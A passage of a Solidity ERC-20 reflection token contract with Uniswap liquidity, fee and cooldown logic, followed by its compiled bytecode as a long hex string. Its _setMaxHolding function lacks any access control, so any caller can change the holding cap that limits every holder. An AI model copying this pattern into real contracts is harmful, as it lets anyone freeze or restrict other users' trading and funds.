return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 2;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (9 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 2;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (180 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
}
|
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b6040516101729190613083565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b32565b61057e565b6040516101af9190613068565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da91906132a5565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612ae3565b6105ac565b6040516102179190613068565b60405180910390f35b34801561022c57600080fd5b50610235610685565b60405161024291906132a5565b60405180910390f35b34801561025757600080fd5b50610260610695565b60405161026d919061331a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bc0565b61069e565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c38565b610785565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b6e565b6107d8565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a55565b6108d0565b60405161032591906132a5565b60405180910390f35b34801561033a57600080fd5b50610343610927565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a55565b610999565b60405161037991906132a5565b60405180910390f35b34801561038e57600080fd5b506103976109ea565b005b3480156103a557600080fd5b506103ae610b3d565b6040516103bb9190612f9a565b60405180910390f35b3480156103d057600080fd5b506103d9610b66565b6040516103e69190613083565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b32565b610ba3565b6040516104239190613068565b60405180910390f35b34801561043857600080fd5b50610441610bc1565b60405161044e9190613068565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a55565b610bd8565b60405161048b91906132a5565b60405180910390f35b3480156104a057600080fd5b506104a9610c2f565b005b3480156104b757600080fd5b506104c0610ca9565b005b3480156104ce57600080fd5b506104d7610d6e565b6040516104e491906132a5565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612aa7565b610da0565b60405161052191906132a5565b60405180910390f35b34801561053657600080fd5b5061053f610e27565b005b60606040518060400160405280600881526020017f4b69626167616d69000000000000000000000000000000000000000000000000815250905090565b600061059261058b611337565b848461133f565b6001905092915050565b6000670de0b6b3a7640000905090565b60006105b984848461150a565b61067a846105c5611337565b61067585604051806060016040528060288152602001613a1160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062b611337565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3b9092919063ffffffff16565b61133f565b600190509392505050565b600061069030610999565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106df611337565b73ffffffffffffffffffffffffffffffffffffffff16146106ff57600080fd5b60338110610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613165565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161077a91906132a5565b60405180910390a150565b60008160ff16116107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290613285565b60405180910390fd5b8060ff1660158190555050565b6107e0611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610864906131c5565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c59190613068565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610920919061346b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610968611337565b73ffffffffffffffffffffffffffffffffffffffff161461098857600080fd5b600047905061099681611e9f565b50565b60006109e3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0b565b9050919050565b6109f2611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a76906131c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4b69626167616d69000000000000000000000000000000000000000000000000815250905090565b6000610bb7610bb0611337565b848461150a565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c28919061346b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c70611337565b73ffffffffffffffffffffffffffffffffffffffff1614610c9057600080fd5b6000610c9b30610999565b9050610ca681611f79565b50565b610cb1611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d35906131c5565b60405180910390fd5b6001601360146101000a81548160ff02191690831515021790555060b442610d66919061338a565b601481905550565b6000610d9b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2f611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb3906131c5565b60405180910390fd5b601360149054906101000a900460ff1615610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390613245565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9b30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061133f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe157600080fd5b505afa158015610ff5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110199190612a7e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561107b57600080fd5b505afa15801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b39190612a7e565b6040518363ffffffff1660e01b81526004016110d0929190612fb5565b602060405180830381600087803b1580156110ea57600080fd5b505af11580156110fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111229190612a7e565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111ab30610999565b6000806111b6610b3d565b426040518863ffffffff1660e01b81526004016111d896959493929190613007565b6060604051808303818588803b1580156111f157600080fd5b505af1158015611205573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122a9190612be9565b5050506611c37937e0800060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612fde565b602060405180830381600087803b1580156112fb57600080fd5b505af115801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190612b97565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a690613225565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611416906130e5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114fd91906132a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190613205565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e1906130a5565b60405180910390fd5b6000811161162d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611624906131e5565b60405180910390fd5b611635610b3d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a35750611673610b3d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7857601360159054906101000a900460ff16156117a957600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff166117a8576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561183357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189657611840612273565b8161184a84610999565b611854919061338a565b1115611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90613105565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119415750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119975750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6457601360149054906101000a900460ff166119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e290613265565b60405180910390fd5b6002600a81905550601360159054906101000a900460ff1615611afa57426014541115611af957601054811115611a2157600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90613125565b60405180910390fd5b602d42611ab2919061338a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b6357600942611b1c919061338a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b6f30610999565b9050601360169054906101000a900460ff16158015611bdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750601360149054906101000a900460ff165b15611d76576002600a81905550601360159054906101000a900460ff1615611c9b5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9190613185565b60405180910390fd5b5b6000811115611d5c57611cf66064611ce8600b54611cda601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229b90919063ffffffff16565b61231690919063ffffffff16565b811115611d5257611d4f6064611d41600b54611d33601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229b90919063ffffffff16565b61231690919063ffffffff16565b90505b611d5b81611f79565b5b60004790506000811115611d7457611d7347611e9f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e1f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2957600090505b611e3584848484612360565b50505050565b6000838311158290611e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7a9190613083565b60405180910390fd5b5060008385611e92919061346b565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f07573d6000803e3d6000fd5b5050565b6000600754821115611f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f49906130c5565b60405180910390fd5b6000611f5c61238d565b9050611f71818461231690919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fd7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120055781602001602082028036833780820191505090505b5090503081600081518110612043577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120e557600080fd5b505afa1580156120f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211d9190612a7e565b81600181518110612157577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121be30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461133f565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122229594939291906132c0565b600060405180830381600087803b15801561223c57600080fd5b505af1158015612250573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461228261059c565b61228c9190613411565b61229691906133e0565b905090565b6000808314156122ae5760009050612310565b600082846122bc9190613411565b90508284826122cb91906133e0565b1461230b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612302906131a5565b60405180910390fd5b809150505b92915050565b600061235883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b8565b905092915050565b8061236e5761236d61241b565b5b61237984848461245e565b8061238757612386612629565b5b50505050565b600080600061239a61263d565b915091506123b1818361231690919063ffffffff16565b9250505090565b600080831182906123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f69190613083565b60405180910390fd5b506000838561240e91906133e0565b9050809150509392505050565b600060095414801561242f57506000600a54145b156124395761245c565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124708761269c565b9550955095509550955095506124ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125af816127ac565b6125b98483612869565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261691906132a5565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000670de0b6b3a76400009050612671670de0b6b3a764000060075461231690919063ffffffff16565b82101561268f57600754670de0b6b3a7640000935093505050612698565b81819350935050505b9091565b60008060008060008060008060006126b98a600954600a546128a3565b92509250925060006126c961238d565b905060008060006126dc8e878787612939565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3b565b905092915050565b600080828461275d919061338a565b9050838110156127a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279990613145565b60405180910390fd5b8091505092915050565b60006127b661238d565b905060006127cd828461229b90919063ffffffff16565b905061282181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61287e8260075461270490919063ffffffff16565b6007819055506128998160085461274e90919063ffffffff16565b6008819055505050565b6000806000806128cf60646128c1888a61229b90919063ffffffff16565b61231690919063ffffffff16565b905060006128f960646128eb888b61229b90919063ffffffff16565b61231690919063ffffffff16565b9050600061292282612914858c61270490919063ffffffff16565b61270490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612952858961229b90919063ffffffff16565b90506000612969868961229b90919063ffffffff16565b90506000612980878961229b90919063ffffffff16565b905060006129a98261299b858761270490919063ffffffff16565b61270490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129d1816139b4565b92915050565b6000815190506129e6816139b4565b92915050565b6000813590506129fb816139cb565b92915050565b600081519050612a10816139cb565b92915050565b600081359050612a25816139e2565b92915050565b600081519050612a3a816139e2565b92915050565b600081359050612a4f816139f9565b92915050565b600060208284031215612a6757600080fd5b6000612a75848285016129c2565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016129d7565b91505092915050565b60008060408385031215612aba57600080fd5b6000612ac8858286016129c2565b9250506020612ad9858286016129c2565b9150509250929050565b600080600060608486031215612af857600080fd5b6000612b06868287016129c2565b9350506020612b17868287016129c2565b9250506040612b2886828701612a16565b9150509250925092565b60008060408385031215612b4557600080fd5b6000612b53858286016129c2565b9250506020612b6485828601612a16565b9150509250929050565b600060208284031215612b8057600080fd5b6000612b8e848285016129ec565b91505092915050565b600060208284031215612ba957600080fd5b6000612bb784828501612a01565b91505092915050565b600060208284031215612bd257600080fd5b6000612be084828501612a16565b91505092915050565b600080600060608486031215612bfe57600080fd5b6000612c0c86828701612a2b565b9350506020612c1d86828701612a2b565b9250506040612c2e86828701612a2b565b9150509250925092565b600060208284031215612c4a57600080fd5b6000612c5884828501612a40565b91505092915050565b6000612c6d8383612c79565b60208301905092915050565b612c828161349f565b82525050565b612c918161349f565b82525050565b6000612ca282613345565b612cac8185613368565b9350612cb783613335565b8060005b83811015612ce8578151612ccf8882612c61565b9750612cda8361335b565b925050600181019050612cbb565b5085935050505092915050565b612cfe816134b1565b82525050565b612d0d816134f4565b82525050565b6000612d1e82613350565b612d288185613379565b9350612d38818560208601613506565b612d4181613597565b840191505092915050565b6000612d59602383613379565b9150612d64826135a8565b604082019050919050565b6000612d7c602a83613379565b9150612d87826135f7565b604082019050919050565b6000612d9f602283613379565b9150612daa82613646565b604082019050919050565b6000612dc2601983613379565b9150612dcd82613695565b602082019050919050565b6000612de5602283613379565b9150612df0826136be565b604082019050919050565b6000612e08601b83613379565b9150612e138261370d565b602082019050919050565b6000612e2b601583613379565b9150612e3682613736565b602082019050919050565b6000612e4e602383613379565b9150612e598261375f565b604082019050919050565b6000612e71602183613379565b9150612e7c826137ae565b604082019050919050565b6000612e94602083613379565b9150612e9f826137fd565b602082019050919050565b6000612eb7602983613379565b9150612ec282613826565b604082019050919050565b6000612eda602583613379565b9150612ee582613875565b604082019050919050565b6000612efd602483613379565b9150612f08826138c4565b604082019050919050565b6000612f20601783613379565b9150612f2b82613913565b602082019050919050565b6000612f43601883613379565b9150612f4e8261393c565b602082019050919050565b6000612f66602583613379565b9150612f7182613965565b604082019050919050565b612f85816134dd565b82525050565b612f94816134e7565b82525050565b6000602082019050612faf6000830184612c88565b92915050565b6000604082019050612fca6000830185612c88565b612fd76020830184612c88565b9392505050565